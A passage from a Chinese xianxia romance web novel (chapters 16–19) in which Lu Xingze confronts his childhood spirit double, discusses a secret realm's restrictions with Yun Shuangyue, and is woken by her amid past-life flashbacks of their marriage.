相信云霜月吧,她不会骗他的。
陆行则就这么想着,像是想转移注意力似的,
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慢慢把视线挪到自己的手上。
此时这其中一只手仍然提着小孩,但另一只手却放到了孩子的脖子那。
不管对于修士还是凡人,都称得上脆弱且一下就能折断的地方。
直见云霜月眼里的这位正道魁首半垂下眼帘,手上的力道逐渐收紧。
竟是在像邪修一样,试探能否将自己的双生体掐死。
脸上没什么表情,将原本用笑意淡化的锐利感完全展现了出来。
“你早就醒了吧。”他语气有些淡漠。
果然,就在陆行则开口说第一个字的时候,小孩就睁眼了。
他的手抓住陆行则掐住他脖子的虎口,奋力挣扎。
“放开我!”可怜又凄厉的语气。
陆行则听到了却没什么特别的反应,他只是挑了挑眉,手里的力道也没收着,还是越来越紧。
“你!”小孩大叫一声,挣扎的动静越来越大。
陆行则啧了一下,漫不经心道:“不用装了吧。这房间被我用了隔音符,云霜月也听不到。”
他放下原本提着的那只手,就剩下一只掐住脖子,算作重新提着。
身上哪有一点正道做派。
然而被这样对待的小孩,本应该继续挣扎。
结果那孩子真如陆行则说的一样,马上停止了动作,脸上惊慌失措的表情也消失了。
四目相对,两人都没什么波动,就那样面无表情看着对方。
此时陆行则扬起分眉梢放下,那双多情的桃花眼也敛着,和对面小孩的表情如出一辙。
当时火曼儿第一眼看到脏兮兮的小陆行则还嫌弃他瘦骨伶仃长得也难看,但此时男孩脸上的污浊被云霜月的帕子擦去,显现出了真正的样貌。
虽然脸颊因为营养不良而凹陷进去,嘴唇也没什么血色。但那双眼睛和陆行则冷静对视,就像是镜子一样照出了对方。
这时候才像双生的样子。
“你什么时候知道的。”他听见手里的小孩问。
陆行则答非所问:“你是灵体,根本不会受伤吧。”
他松开掐着小孩脖子的手,任由其跌落到地上摔了一下。
暗金色的眼睛锁住孩子。
奇异的事情发生了。在他的目光之下,跌落在地上的孩子没有任何事情,脖子上也没有留下任何掐痕。
“所以你故意引云霜月过去的。”
“听不懂你在说什么。”小孩扯了扯嘴角,学着陆行则微笑起来,但因为之前不曾笑过显得有些滑稽。
他没说谎,灵体是什么东西他压根就不知道。
也不想知道自己是什么,魔物、妖怪、杂种那些词他都听过,多加上一个莫名其妙的灵体也无所谓。
不过引云霜月过去这个事情,或许吧?
他将那群地痞流氓引到显眼的煎饼摊,到底是存着是否会有什么天降的烂好人来帮帮自己,他也愿意听听他们那翻来覆去的几套道貌岸然的话。
也确实没想到这次救他的是那样一个女人。
小陆行则又扯了一下嘴角,调整笑容。嘴角的弧度、眼睛的弧度,这次竟然像是刻印一样,将陆行则一惯的表情彻底复制了去。
16. 镜像镇墟
“咚咚——”
一阵敲门声响起。
屋内大眼瞪小眼的两人动作皆是一顿。
他们同时将头转向声音传来的方向。
不同的是小陆行则依旧保持那个微笑,他尚且不能理解这个表情的含义,只是照着陆行则的样子机械性地复制。
但陆行则本人却把嘴角拉直,脸有些臭。
倒不是因为他要说的话被打断的缘故,本身弄清楚这小孩真正心思的用处也不大。
毕竟破开这个秘境和他性格能有什么关系。
只是。
他扭头瞪了眼杵在那笑得怪异的小孩,见鬼,这表情出现在自己小时候的脸上看起来这么奇怪吗。
抖了抖身上并不存在的鸡皮疙瘩,陆行则收回视线去开门。
结果刚开一条缝,陆行则鼻尖就闯入了阵熟悉的香味,还瞥见一截纯白的衣摆。
于是还在那假笑的小陆行则就看到了刚刚还在臭着脸的男人一下子就变换了脸上的表情,动作熟练到不可思议。
?
这人真的假的。
他才刚学会这个男的是怎么笑的,怎么又这么变脸了。
“陆公子,我想起那孩子还在你这……嗯?”
云霜月突然折返回来,她想起陆行则并不喜欢同陌生人共处一室,即使那孩子长着他小时候的样子。
她想了想还是回过来想把那孩子带到自己房间照看,毕竟五六岁的年纪也不需要注意什么男女大防
不过等到陆行则一开门,她就看到了面前满脸倦容,眼角垂下的少年。
这个年纪的陆行则身形还未到前世那般高大的样子,倒像是云氏宅院中的青竹,带有少年的灵气纤瘦感,连眉眼也肉眼可见透出青涩。
此时的他眼皮懒懒散散地半垂着,一副刚睡下就被叫起来的迷茫模样。
仔细看眼睛还净润着一层薄薄的水汽。
“打扰你了吗?”云霜月仰头看向陆行则,疑惑为什么他今天睡这么早。
她目光扫过陆行则还没有整理的歪斜发冠,再到虽然有些凌乱但仍穿得好好的衣服。
就这么睡了?
陆行则揪住云霜月的衣角晃来晃去,企图打断云霜月的思绪。
“没打扰,可能是这个禁制的问题吧,我灵力被压制得厉害。突然放松下来就困了。”
他把头微微低下,用毛茸茸的脑袋轻轻拱了拱云霜月。
要说陆行则这个少年时期的外貌还是太有欺骗性了,就看着那一张秀丽的脸,很难让人发现他极高的身量。
比云霜月高了两个头的少年即使俯下身子,她与其说话依旧要微微仰头。
于是面对头顶发丝被牵动的感觉,云霜月只能任由他闹出点不痛不痒的动静。
她伸出手拍了拍陆行则的腰,想叫他不要在外面做这种动作。
不知是她拍的力道太轻的缘故还是什么,陆行则没什么反应,依旧黏糊糊地蹭过来。
于是云霜月就改为拉扯他的腰带,一下一下,想提醒他。
但她扯一下,陆行则就往后面退一小步。
最后云霜月也没搞明白发生了什么,就莫名其妙被陆行则拖进了他的房间。
等反应过来,门已经在面前关上了。
云霜月看着面前的陆行则,此时那双暗金色的眼睛收敛了一切侵略性,被主人可以包装成无辜的样子。
她有些无言,沉默一会后揪了一下陆行则的脸颊算作惩罚。
随后云霜月的视线越过又在乱叫的陆行则,向他身后看去。
一下子就看到了晕倒在床边的小孩。
“你就把他丢到地上去睡吗。”她瞪大眼睛。
陆行则听到这话就停止了自己的动静,他将视线落到从刚刚开始就一直安静的小孩身上。
原来是那小子趁他不注意,自己跑去地上装作昏迷还没醒的样子刻意蜷缩成一团,依旧是让人一眼就看出是十分没有安全感的姿势。
倒在地上,衣服灰扑扑的,甚至特意把用简陋针脚缝补过的那破破烂烂的一面露出来。
小脸上的五官皱到一起,好像梦到了什么难过的事情一样。
整个人都散发着可怜无助的气息。
“哈。”
突兀的,陆行则没忍住泄出来一声气音。
怎么说呢,不愧是小时候的他。
装可怜和变脸倒是连教都不用教,自己就学会了。
陆行则的舌头抵住犬齿,气笑了。
在云霜月面前把阴招全使长大后的自己身上了。
陆行则对此反应很快,他状似惊讶地张开嘴巴:“怎么自己滚地上去了,是不习惯睡软床吗?”
“还特意把床让给他睡了。”陆行则装模作样地打了个哈欠:“好可怜啊,我刚刚只能在桌子上趴一会。”
他给云霜月指了指自己的衣服,又抓着云霜月的手想让她摸摸自己歪斜的凌乱发冠。
云霜月无奈摇摇头抽出手,朝小孩走去。
洁白的衣裙就像流云一般划过陆行则的靴子,如同退潮的浪花一样离开了。
眼睁睁看着裙摆的主人走向另一个和自己相似的人。
陆行则不知道为什么,心里感觉有点微妙。
他说不清这种是什么感受,以前没有体验过。
这种感觉稍纵即逝,宛如风从指缝间溜走一样,让人无法捕捉。
于是陆行则晃了晃脑袋,甩掉这种感觉。
他猜到云霜月来这想带走那和他长得一模一样的小屁孩。
那可不行,他抬脚走上去。
一想到这小孩和他如出一辙的性格,和对云霜月特别的依
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赖态度,就不能放他过去。
云霜月啊云霜月,不能因为这小孩长了一张和自己这么像的脸,就偏爱他呀。
陆行则踩着女人摇曳在烛火下的影子,一步步上前,直到让自己的影子彻底把云霜月的覆盖住。
“我准备等他醒了给他洗个澡,换个衣服。”陆行则站在云霜月的身后,声音从她的头顶传来。
他又低下头,这此声音落在了云霜月耳边:“毕竟总不能一直让他穿着这脏衣服。”
“我将这孩子带去我那也可以。”云霜月感觉脖子有点痒,陆行则又自说自话凑过来了。
话音刚落,云霜月就感觉肩膀一沉。
原来是陆行则的脑袋彻底窝在了她的颈侧。
“小时候的自己在你身边洗澡总感觉怪怪的。”一阵阵温热的气息缠绕上来:“反正就一晚上,我来吧。”
云霜月有些受不了,她轻轻拍了一下陆行则的脸颊示意他可以抬起来了。
陆行则却只是微微挪动了一下位置,还不依不饶地呆在那。
“我来吧,我来吧。”他什么也不听,两眼一闭念经似的。
“……我知道了。”云霜月叹了一口气:“怎么重活一世,还和小孩一样?”
陆行则这才抬起头,轻哼两声。
云霜月俯身将地上的孩子抱起放回床铺,之后示意旁边站着的本尊跟着她在桌子旁坐下。
“我们得明日一早就出发去找曼儿他们的分身,尽快破解这里的禁制。”暖橙色的烛火下云霜月的脸色依旧苍白:“这陌生的地方压制我们的灵力,呆在这越久越不是什么好事,速战速决吧。”
陆行则在这种时候还是正经的,他点点头:“是这样没错。”
思考一会后陆行则又说道:“找人这种事情,一群人还是分开找比较快吧?”
“我也是这样想的。”云霜月伸出手指敲了两下桌面:“不过眼下他们应该已经休息了不便打扰,明日早点起来商量着分头去找吧。”
“对了,我还想问问。”她抿了下嘴,严肃神情:“还记得前世你来到这个镇子的时候,碰见的那个黑衣人吗。”
“行为这么诡异的人想忘记都难。”陆行则皱了皱眉:“但是怪就怪在这,我的记忆里根本就没有除了那家伙裹了一件黑色袍子以外的任何特征。”
脸是模糊的,动作是模糊的,连记忆都是模糊一团。
“我怀疑他和云氏的关系极为密切,很可能是不渡川那的人。”云霜月迟疑开口:“这个镇子的阵法我只在你前世从不渡川带来的古籍中翻到过。”
甚至不止那个黑衣人,整个小镇和云氏都可能有很大的关系。
陆行则听懂了云霜月没说完的话。
他沉默一会,突然问:“云霜月,自从我们来到这里,你的阴阳命珠还有过动静吗。”
17. 镜像镇墟
听到了陆行则这句话,云霜月下意识抬起手。
视线落到手腕处,此时那半颗珠子安安静静的没有一点动静。
“不对……”云霜月喃喃道:“在和曼儿一起找你们的时候我就查看过阴阳命珠,它的颜色远没有现在这般灰暗。”
而此时云霜月手上的那颗珠子已经完全失去了光泽,那抹标志性的金色流光也消失不见了。
若叫不知情的人来看,定瞧不出这颗灰扑扑的珠子有什么不寻常的地方。
她伸出另一只手轻抚了一下阴阳命珠,随后抬头朝陆行则看去。
在她对面坐下的陆行则不用云霜月开口,自己看到她眼神的时候就乖乖伸出手递了过来。
云霜月视线扫过陆行则的手腕,他的那半颗珠子和自己手上的有所不同。
如果将云霜月手上的珠子比作路上随处可见的顽石,那陆行则手上的就是依旧巧夺天工的灵秀之物。
若隐若现的金光在他那半颗火红的珠子上流转。
云霜月将自己的手腕悬在陆行则旁边,于是两只手上的珠子对比就更加鲜明了。
陆行则“嘶”了一声,不明白这什么情况。
原本他问云霜月阴阳命珠的状况,看看是否能得到一点线索。
结果这不看不知道,一看吓一跳。
别说是什么动静了,云霜月手上那颗直接就没了动静,和平常的石头没什么两样。
陆行则扒拉着她的手,命珠连灵力流动的轨迹都消失了,于是他左看右看也没看出什么名堂来。
“现在再怎么看应该也没办法看出什么了,等明天大家一起行动吧。”
没看出什么就算了,但陆行则握住云霜月的手半天也没松开。一开始可能是为了研究云霜月手腕上的命珠,后面陆行则的注意力就跑到她手上去了。
也看不出他什么目的,就是单纯地捏捏这根手指,摸摸那个指尖。像是找到了什么有意思的玩具一样。
她手上究竟有什么稀罕的东西?值得让前世收尽天下奇珍的剑衡仙君停留这么久。
云霜月用另一只空闲的手将自己挂有命珠的手从陆行则那处解救了出来。
她觉得或许是陆行则手上没事情做才会无聊到把玩她的手,于是云霜月摸了摸储物戒,从中取出糖糕点心来给他解解闷。
而手的主人见自己被抓获,撇了撇嘴开始胡言乱语了:“说好的还是朋友呢,云霜月怎么连手都不让陆行则碰了──好狠心好冷漠好无情始乱终弃抛夫弃子……唔!”
听面前这人说得越来越离谱,饶是重生一世了,都闹得云霜月耳尖都有点红。
她赶紧塞了块糖糕进陆行则的嘴巴,堵住他下面的话。
若是由着他继续讲,不知道又要胡说八道什么些词!
前世云霜月温习典籍的时候会顺便教他些这个世界的文字知识,结果这家伙很多时候会偷偷拿一本她的书竖起来挡在脸前,自己躲在书后面呼呼大睡。
也只有脾气好的云霜月,才会发现他在偷懒后还会给他披上一层薄毯,由着他安静睡去。
这么做的后果之前还看不出来。
现在好了,什么词都开始往外面蹦。
云霜月看着陆行则嘴里塞了东西还不老实,还作势要咬她的指尖。
幸好云霜月储物戒库存充足,直接又一次性拿了两个囫囵塞他嘴里。
面对云霜月这个动作,陆行则夸张地睁大眼睛,故意一副“怎么能这么对我”的样子质问她。
但好歹也不乱动不说话了。
看着对面那个嚼着糖糕才能短暂安静的男人,云霜月左思右想也拿他没辙,索性一块又一块地给他塞糖糕,让他少说点话。
“此处医馆的掌柜背景不一般,我怀疑他和云氏也有联系。”她一手投喂着陆行则,继续分享信息:“我们要找前世黑衣人的线索,或许从他那边可以知道些什么。”
“但是关于命珠的事情我暂时没有头绪,不过我发现它会牵动我身上的禁制。”云霜月捂了下心口:“自从踏入这个阵法,我发现压制我灵力的禁制越发松动。就在踏入这个医馆后,我的一层禁制突然破掉了。”
云霜月也是在踏入自己的房间之后发现的这件事。
毕竟在往日这个时间她早该有困意了,但眼下却感觉精力充沛,身体也变得轻盈。
这种感觉非常熟悉,前世每当她每解除一层禁制后就会出现。
几乎是下意识的,云霜月探查了下自己的神识空间,发现一个禁制消失了。
虽说那个禁制明显没有她体内的另外几个复杂,但解开后也给她提供了不小的施展空间。
云霜月能一下子就催动储物戒的随身空间拿出这么多东西也多亏了这个。
思索几息后,她又陆陆续续补充了很多进入这个小镇的细节。
等待全部和陆行则说完后,云霜月估摸着塞给他的糖糕数量,正好。
见陆行则还张着嘴想要接,云霜月轻笑一声,微凉的手放在他下巴那微微施力帮他合上。
“好了,我要说的就这么多,天色也不早了,早点休息。”
陆行则含糊说了句“好吧”,见云霜月起身,扭头想补了个“晚安”给她。
可惜余光只来得及瞥见一点裙角,彻底将头转过去后就只来得及看见一个关的严丝合缝的雕花房门了。
讨厌的房间。
他有些想念前世云霜月给自己留的那个房间了。
──
清晨。
街道上逐渐热闹起来,卖早点的摊贩推着木轮车吱吱呀呀地走过,油条包子的香气顺着医馆的门缝飘进来。医馆的隔壁应该是个布庄,因为此时老板娘正扯着嗓子吆喝:“新到的绸缎,颜色鲜亮,快来看看嘞!”
云霜月已经早早起来了,她的作息一直是雷打不动的规律,此时她正在帮昨晚的掌柜整理药材,顺便听着外面的声音。
她此时已经彻底意识到,这个小镇的时间是混乱的,这里的人似乎有着自己的一套规则。
否则为何清晨这个许多人尚未苏醒时,就能听到布庄叫卖的声音。加上进入这个镇子时的夜间集市,云霜月再迟钝也要察觉到有什么不对了。
“啊,霜月姐你起这么早吗!”火曼儿正打着哈欠随身空间出来,冷不丁就看到了外面的云霜月。
她是体修,时常需要早起锻炼,这个点火曼儿就算一直如此但还是耐不住困意,每次都要打完几套拳之后才能清醒。
谁知居然有起得比她还早的人,那也太恐怖了吧!
“曼儿醒了?我在桌上放了早点,是我从储物戒中拿出来的,可以放心吃。”
“哇!有这么多。”
火曼儿好歹是宗门大小姐,在门派的时候什么山珍海味没见过。但耐不住体修生活就是粗糙一点,更不用说跟着左邢这个不靠谱的东西下山历练后,整个人
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过的更糙了。
如今遇到了云霜月,第一次体会到吃得好住得好的感觉。
“哈哈,谢谢霜月姐。我去外面打几套拳就回来吃。”
火曼儿扭了扭脖子,活力十足地朝云霜月挥挥手出去了。
又过了一会,第二个人出来了,青衣白发,是姬芜珩。
他一眼就看到了整理药材的女人和桌上的早点,了然。
姬芜珩朝着云霜月拱了拱手表示感谢,在得到云霜月点头的招呼后才坐下来,默默吃着早点。
等姬芜珩慢条斯理吃完早饭后,左邢才像霜打过的茄子那样一脸萎靡地出来。
“这是怎么了?”云霜月看到他这样,有些担忧问到。
但她忘了这一世左邢和她认识才两天不到。
于是在左邢的视角下就看到晨光熹微,空气里的微尘浮动在女人素净的面庞旁。
鸦青的长发用一根素净的白玉簪子挽起,只余下几缕碎发垂在耳际。医馆外的树叶沙沙响了两声,将风送到云霜月的身边,将她耳畔的几根发丝吹到了唇边,随着主人的呼吸轻轻颤动。云霜月的唇色永远都是没有气血的淡粉色,可唇角的红痣却一直鲜艳,那墨色的发丝和红痣呼应,将其衬得愈发醒目。
女人眉眼盈盈,神色带有温柔的问询意味。
面对这样的场景,左邢一时间不知道作何反应,有种想喊云霜月娘的冲动,左手换右手地挠自己的头,又蹭蹭衣服又拍拍屁股的。
直到一旁的姬芜珩见他和猴子似的,就朝左邢翻了个白眼。
“啊?哦哦!”左邢这才反应过来回答:“姐你别担心,我每天早上都这样。”
“什么每天早上就这样?”一个声音从门口传来,原来是火曼儿风风火火地回来了。
姬芜珩淡淡开口:“左邢他起床。”
“啧,他哪天不是那个死人样。”火曼儿嫌弃地朝左邢看去,特意在放了早点的桌椅那挑了个离他远的坐下。
“喂!火曼儿你什么意思,有你这么嫌弃师兄的吗。”左邢读懂了火曼儿的动作,大声抗议。
“谁管你这个废物师兄啊,一天天就知道吃。”火曼儿眼疾手快抢过了左邢即将下手的包子。
左邢见包子被抢,碍于大小姐威压只能灰溜溜拿个煎饼吃:“吃饱才有力气干活好吗。”
“你能废多大力气。”火曼儿揭穿他,像是想起什么似地问道:“话说陆行则呢?”
“许是还没睡醒。”云霜月拿袖子掩唇笑了下。
“欸?他这种人还会赖床吗。”火曼儿一直以为这种修炼厉害的人每天都会很勤奋呢。
“姐你厉害啊,居然能猜到陆行则这家伙起不来床。”左邢说完这句后就朝火曼儿那犯贱摇摇头:“不像某些人,被陆行则的天才形象蒙蔽了──”
“左邢,你是不是找死!”火曼儿一拍桌子,作势要起身。
“大小姐饶命!饶命!”他赶忙转移话题:“话说今天外面不是有事要做吗,赶紧叫陆行则起床吧,哈哈。”
也知道转换话题的生硬,末了还干笑两声。
“不过他起床气大的很,额……”左邢的视线在众人之中转了一圈,最后定在云霜月身上。
他双手合十,做求救状:“姐能不能拜托你个事,你去把他叫醒可以吗。”左邢语气凄凉:“要是我们去叫他保不准直接被他的灵力轰出去了,他和你不熟,肯定不会把你怎么样的。”
18. 镜像镇墟
“姐你放心,就去他那敲个门就行了。陆行则那家伙讲究的很,睡觉的时候一定会往门口设一道他的灵力结界,什么人靠近了他在里面一清二楚。”
“那他在外面露宿的时候呢?”云霜月有些新奇,头一回从别人口中了解到不一样的陆行则。
“嗐,那他就索性不睡觉,直接在原地打坐修炼。”左邢“啧啧”两声:“修炼就修炼吧,他连这都要给自己套一层结界,叫别人别来打扰他。”
云霜月:“他历练时一直都是如此吗?”
“对啊,怪的很!”见云霜月听了他的请求后没摇头,左邢乘胜追击:“姐你不用进去,站门口就行了。反正陆行则的结界就是拦人用的,要进也进不去。”
——
于是云霜月现在就站到了陆行则的房门前。
她一向不会拒绝别人,何况只是敲门这件小事。
果然如左邢所言,一个淡金色的结界设在了陆行则门前约一丈的距离。而再细细看去,更深处还设置了第二重结界,上面有着许多条龙形图腾,如同活物般盘踞门扉,流淌的咒文也像是呼吸一样明明灭灭地闪烁着。
灵力流转露出主人的威压,似乎是在告诫外来者没事就赶紧滚开。
云霜月有些苦恼地看着眼前的被结界包裹住的房门。
说实话,她并没有这方面的经验。
前世在清淮那座院子里,她并未见过陆行则会在睡觉时设下结界,甚至有时候还会经常性地忘记关门,还需要路过的云霜月顺手给他关上。
若是云霜月没有看见,那他就索性任由房门一直开着,仗着修为高,一点都不怕自己生病。
所以每次陆行则回到院子的时候,云霜月都会特意多往他房间那走走,给他把门关上。
对着云霜月,他连门都不会关,更别提设什么结界了。
这……该怎么敲?
云霜月试探性地伸出手,想拿指尖触摸一下。
本做好了被灵力波及的准备,可谁知根本没有动静。
结界反而如同春冰遇暖般层层化开,凡是被她碰到的地方,结界都会乖乖往旁边挪开,像是专门给她的手腾出位置。
嗯?
看到这个场景,云霜月又试着把整只手都放上去。
结果那些金色的灵力竟真的挪出了更大的地方,游龙图腾在门楣处迅速游走,龙睛随着她的靠近逐渐睁开亮起,竟显出几分雀跃。
云霜月踏出一只脚,接着就是整个身子,直到整个人都进了结界内。
一切顺利到不可思议。
左邢口中陆行则的结界寻常修士想要进去根本不可能,据他所说是用了什么上古法器融合陆行则魂血所产生的,甚至可以无视修为抵飞升仙人一击。
就是这样坚固的结界,云霜月轻而易举就进入了。
云霜月有些困惑,或许左邢说的是陆行则放在门上那层结界?
她将视线放到门前。
上面附着的结界金光流动的速度更快,可见灵力确实比外面那层充盈。
毕竟随着云霜月的逐渐靠近,结界上的龙居然也一条条聚了过来在她面前游动。
她看不出来这些带有灵性的图腾为何都围在她身边,但云霜月记得左邢拜托她的事情。
“姐你站在外面敲个门就行了,陆行则那家伙警惕心很强的,陌生气息一触碰结界他肯定会醒。”
既然没有感受到图腾的排斥,云霜月就索性不去管它们,抬手想要叩门。
谁知这回她的手一碰到结界,原本聚集在那的灵龙竟化作道道金光,突破结界缠绕到了云霜月的手上。
一些没来及出来的灵龙愤愤甩了几下尾巴,将龙首转向门的方向吐出符文,让陆行则的房门自己打开了。
伴随着手腕上一股巨大的拉力,本该将人弹开的结界却直接把云霜月扯入房内。
“砰——!”
门重新关上。
活跃的灵龙也恢复到了原本的位置,继续当好自己的图腾,仿佛刚刚什么都没发生过。
这短短几秒的时间完全没给云霜月反应的机会,回过神整个人就在陆行则房间里了。
待她踉跄站稳,身后的门扇早已闭阖。
云霜月摸了摸手腕,上面的龙影如朝露遇晞般消散无踪,甚至云霜月的一只手还保持着将要敲门的姿势。
“……”
无言。
看来左邢让她只敲个门的事情是做不到了。
她从前就没见过陆行则的结界,如今被拉进了里面也不知道怎么出去。
云霜月用手推了推门,如预料之中的一样纹丝不动。
叹了一口气后她放下手,扫视了一圈陆行则的房间。
一眼就看到了床上鼓起来的一团。
果然还没醒。
不过云霜月有些疑惑地再看了看房间,从茶桌到床铺都没有小孩的身影。
她将目光重新放回床上,难不成在陆行则那?
想着正好要把他叫醒,就抬脚走到了陆行则的床榻边。
说起来陆行则的睡姿很奇怪,和云霜月端端正正的样子不同,他喜欢整个人都钻进被子里,徒留头发散在锦被之外。
前世他历练回到清淮,很多次累地懒得找自己房间。
就掐着云霜月这个时间会在哪干什么事情,跟个游魂似地出现在她身边,见到了云霜月的人后倒头就睡。
一开始云霜月还会被突然出现的他吓一跳,后几年逐渐习惯了,甚至还会在身边常备一条毯子,专门留给陆行则。
埋在被子里这个习惯也是那时候发现的。
云霜月总是担心他这样睡觉会不会闷到自己,也尝试把所谓书上正确的睡姿传授给他。
结果陆行则嘴上应的好好的,实际还会动来动去。云霜月都不明白人睡觉居然可以有这么多姿势,毕竟见到陆行则之前,她连睡觉的姿势都是严格按照书上展示的那样标准。
但他每次回来都会先跑到她身边睡一会,有时候云霜月在练字,有时候云霜月在算账。见他闷头大睡的样子实在看不过去,总是隔一会就停下手上在忙的事情,帮他扯扯毯子,剥出陆行则的脸。
导致她字也没练完,帐也没算完。
这时候陆行则就醒了,会迷迷糊糊就把脸凑过来让云霜月捏捏解气。
不过云霜月大多时候都会把手放到他的耳朵上不轻不重揪一下便算作惩罚,常年冰凉的指尖碰一下陆行则就清醒了,然后笑骂他是不是云氏派来捣乱的。
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——
思绪回来。
看着眼前熟悉的一团,云霜月和前世一样,下意识地将陆行则的被子往下扯扯。
露出一张英气的脸,脸颊旁还有睡出来的红印。
云霜月笑了声,还和孩子一样。
接着云霜月俯身,轻轻拍了拍陆行则的被子:“陆公子,起床罢。”
谁料手底下的人根本没动静。
要让火曼儿看到这一幕,必定会觉得左邢又胡说八道了,现在的陆行则哪有一点防备心强的样子嘛。
见陆行则还闭着眼睛,但眉头却皱了起来,看是要醒的样子。
把手放在床榻上作支撑,云霜月又靠近了陆行则一点,再度唤道:“陆……!”
话还没说完,一只手就强硬地挤进她的指缝。随着手被抓住失去了支撑的力道,云霜月一时不察直接倒在了陆行则身上。
!
她的眼睛微微睁大,视线陷入了一片黑暗之中。
床榻发出细微的吱呀声,她被陆行则扯进被子里了。
常年冰凉的躯体进入到了一个温暖的环境,陆行则一贯偏高的体温蔓延到了云霜月的身上。
随着衣服布料摩挲的声音响起,云霜月感到一股温热的气息扑到了自己的耳朵上。
是陆行则的鼻尖。
他好像在嗅闻什么,如同确认气息的幼兽一样,先是在云霜月的发间,随后又慢慢下滑到她的脖颈。
“你……”
陆行则不动了。
鼻子的主人仿佛是确认自己闻到了熟悉的味道,在她肩上找了个舒服的位置就埋了上去。
接着云霜月的视野就恢复了,是陆行则给她露出了个头。
云霜月有些僵硬地转动眼珠,陆行则的脸就在她下巴那。云霜月的发丝和陆行则的纠缠在一起,一时间难以分清是谁的。
此时他的脸侧着,眉头重新舒展开来,眼睛却依旧没有睁开。
刚刚那一串行云流水的动作,好像就是他下意识的反应。
云霜月下意识地挣了挣,却被不知何时陆行则放在她腰间的手固定住了,没办法动弹。
她有些无奈看着陆行则这张青涩年少的脸,明明是禁锢的姿态,睫羽垂落的样子却显出几分稚气的依赖。
不过面对这份秀色可餐的样子,云霜月并不买账,她扭了扭被锢住的手,反过来捏了一下陆行则的手臂。
“醒了就放手,怎么这般胡闹?”
“……”陆行则没说话,反而把露出一半的侧脸给转了过去,这次索性把一整张脸都埋进云霜月肩颈处去了。
感受到他手臂力量的放松,云霜月终于能抽出手拉一下他的耳朵了。
“……困。”耳朵上凉凉的温度传来,陆行则嘟囔一声。
“赶紧起来,曼儿他们都在外面了。”云霜月放开手,拍了拍他的身体让陆行则放开自己。
陆行则没动,摇摇头表示反抗。
就在云霜月苦思冥想怎么把黏在自己身上的人扒下来时,一道声音传了过来。
“你们在做什么?”淡漠的声音传来。
陆行则睁开毫无睡意的眼睛,盯着出声的人。
居然是刚刚一直没见到的小陆行则。
19. 镜像镇墟
“你刚刚去了何处?”
此时的云霜月坐在床榻边,她已经从陆行则的围困中出来了。
见女人的注意力来到了自己身上,男孩停顿了几秒,像是在回忆什么似的,随后扬起一抹微笑:“我刚刚去换衣服了。”
忽略某人一直在身后扯她的衣带找存在感,云霜月端详了一下面前站着的小孩。
男孩应该是沐浴过了,身上和脸上找不到昨日满是泥污的痕迹。乱糟糟的头发也用一根树枝挽了起来,露出了稚嫩但初显锋芒的脸。原本满是补丁的衣服也换成了云霜月储物戒中的孩童锦衣。
其实云霜月给了他一堆五颜六色的衣物让他自己挑,偏偏不知从哪被他挖出来了一件纯黑色的套上了。
这点倒是和喜欢鲜亮颜色的陆行则本人不一样,他素来喜欢鲜衣明珰,在清淮院子中放置的衣物足足有云霜月的十倍之多。
当初他作为一个毛头小子来云氏退婚的时候便满身玲琅环佩相击,之后当上了剑衡仙君后那身上戴的挂的,真是数也数不清。
而云霜月院中的衣物全部都是同一种颜色,终年透着泠泠雪意,素色白衣玄衣泾渭分明,偶有零落彩帛蜷缩在角落,仿佛主人将尘世颜色都锁进箱底压实了,只余下黑白两色。
首饰那就更不用多说,除了挽起头发的簪子就再无一物,加上她常年苍白的皮肤,让云霜月整个人看起来都像一尊玉雕观音像。
新婚夜逃走的陆行则顶着一头清晨的露水翻墙回来,见到的就是大雾中端坐在竹林里垂目发呆的云霜月。这种氛围下,被她坐着的白玉石凳都如同明净莲台,明明近在咫尺,却隔着云山雾海。
端庄的,不容侵犯的,没有生命的。
不过和陆行则成婚后,云霜月那些色彩鲜艳的衣服就多了起来。
熟悉起来的陆行则在发现她穿衣习惯后大受震撼,之后每次历练回来给她带的东西里面必定会捎上几件衣服或者几匹布料。布料他会交给云氏商会的人去裁剪,衣服却一带回来就嚷嚷着让云霜月快点换上。
那些衣服往往都是整套塞给云霜月的,包括衣服该配什么头饰什么配饰,通通都是陆行则一个人捣鼓好的。
别看云霜月初遇陆行则时那副很高冷的样子,实际心肠软的很,第一次拗不过他,便一直纵容陆行则的这种行为。
前面几次换完还会有些许不自在,不过因为她常年木着张脸,一般人也看不出什么破绽。只有陆行则会像只鸟一样叽叽喳喳地围着换好衣服的云霜月打转,嘴里还念着什么“奇迹霜月”“闪耀霜月”的。
虽然听不懂他说的什么意思,但她还是被他的情绪感染,勾了勾嘴角。
后来衣物越积越多,云霜月原先那些都是纯色衣服的空间都被陆行则带来的衣服挤没了。
至于被挤掉衣服的去向,陆行则说他专门弄了一个戒指存起来戴在自己手上了。
他好像忘记了那个储物戒是云霜月送他的,素净的一圈银环,和陆行则其他花里胡哨的戒指都不同,戴在手上很突兀。
她记得陆行则给她讲过,在他的那个世界每根手指都不同的含义,等她算完帐本好奇追问具体的内容时,却发现他已经趴在自己的账本旁睡着了。
那只戴着素戒的手却还攥着云霜月的衣带一角,维持着主人睡着前无聊把玩的样子。
清晖漫洒的庭院里,风吹走暑夏的酷热,顺便将云霜月的几根发丝缠在了陆行则的手上。
在这宁静清闲的一刻,云霜月看着陆行则储物戒上流窜的日光,难得想要知道一个答案。
所以无名的手指啊,你代表着什么意思呢?
她在这淡淡的困惑中也睡着了。
再后来因为了解云霜月的穿衣习惯,知道她会图省事直接拿储物戒最外面的那件衣服,陆行则就在某天突发奇想把自己的心头血涂到了云霜月的储物戒上。
常人共九滴心头血,且消耗无法补足,而陆行则却天生拥有十滴,这在修真界不是什么秘密,还有人说他拥有过人的天资,就是因为这第十滴心头血。
通过心头血印下的法阵,可以略过原主意愿和被契约的物品产生连接。
导致那年作为掌门首徒的陆行则回到宗门就被老师检测到少了一滴心头血时,宗门人众说纷纭,都猜测他是不是契约了什么上古神兽,或者夺得了什么秘境至宝。
没人知道修真界那位传奇的天才陆行则,只是把第一滴心头血抹到了自己妻子的储物戒上,就为了开辟一条专门传递衣物的通道。
哦,除了那个告诉他怎么绘制阵法后,在戒指里吹胡子瞪眼的老头。
就是那种龙傲天文必备的神秘老头,在戒指空间气地跳脚怒骂他:“那么珍贵的东西你就用在这上面,怎么想的!”
陆行则却没觉得什么不对,他一向都是想做就去做了。
通道很小,仅仅够传送每日陆行则为云霜月搭配的衣物,但却可以无视距离,弥补了陆行则经常出去历练没法回去给云霜月配衣服的缺点。
从那天开始,云霜月小到衣服上的一个挂坠,大到所有的首饰衣物。
全都渗透了陆行则的痕迹。
——
感受到衣带拉扯的力道逐渐加重,云霜月拍了一下作怪的手。
